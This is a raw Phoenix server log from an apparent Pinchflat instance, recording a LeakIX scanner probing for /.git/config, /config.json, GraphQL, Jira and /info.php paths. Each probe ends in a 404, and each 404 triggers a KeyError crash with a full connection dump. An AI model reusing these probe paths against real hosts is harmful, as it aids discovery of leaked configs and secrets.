PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsU-uWVxn32kADY7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138870.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, mu (truncated) 04:51:26.706 [info] POST /graphql 04:51:26.707 [info] Sent 404 in 937µs 04:51:26.707 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:27.064 [info] POST /api 04:51:27.064 [info] Sent 404 in 575µs 04:51:27.064 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:27.416 [info] POST /api/graphql 04:51:27.416 [info] Sent 404 in 564µs 04:51:27.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:27.775 [info] POST /graphql/api 04:51:27.776 [info] Sent 404 in 540µs 04:51:27.776 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:28.149 [info] POST /api/gql 04:51:28.150 [info] Sent 404 in 593µs 04:51:28.150 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:28.513 [info] GET /s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 04:51:28.514 [debug] QUERY OK source="settings" db=0.4ms idle=979.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:28.515 [debug] QUERY OK source="settings" db=0.6ms idle=980.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:28.515 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:28.516 [error] #PID<0.138878.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 20) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138878.0>, params: %{}, path_info: ["s", "0313e23343e2131313e23373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsfcCiquaQogADY-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/0313e23343e2131313e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138878.0>, params: %{}, path_info: ["s", "0313e23343e2131313e23373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, qu (truncated) 04:51:29.511 [info] GET /config.json 04:51:29.512 [debug] QUERY OK source="settings" db=0.3ms idle=1977.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:29.513 [debug] QUERY OK source="settings" db=0.4ms idle=1955.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:29.514 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:29.515 [error] #PID<0.138879.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 21) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138879.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsjKCsDQQjfIADY-h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138879.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 04:51:30.505 [info] GET /telescope/requests 04:51:30.506 [debug] QUERY OK source="settings" db=0.4ms idle=993.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:30.507 [debug] QUERY OK source="settings" db=0.3ms idle=993.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:30.507 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:30.508 [error] #PID<0.138880.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 22) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138880.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsm27FHL4dRAADY_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138880.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, (truncated) 04:51:31.512 [info] GET /info.php 04:51:31.513 [debug] QUERY OK source="settings" db=0.4ms idle=1978.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:31.514 [debug] QUERY OK source="settings" db=0.4ms idle=1950.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:31.515 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:31.515 [error] 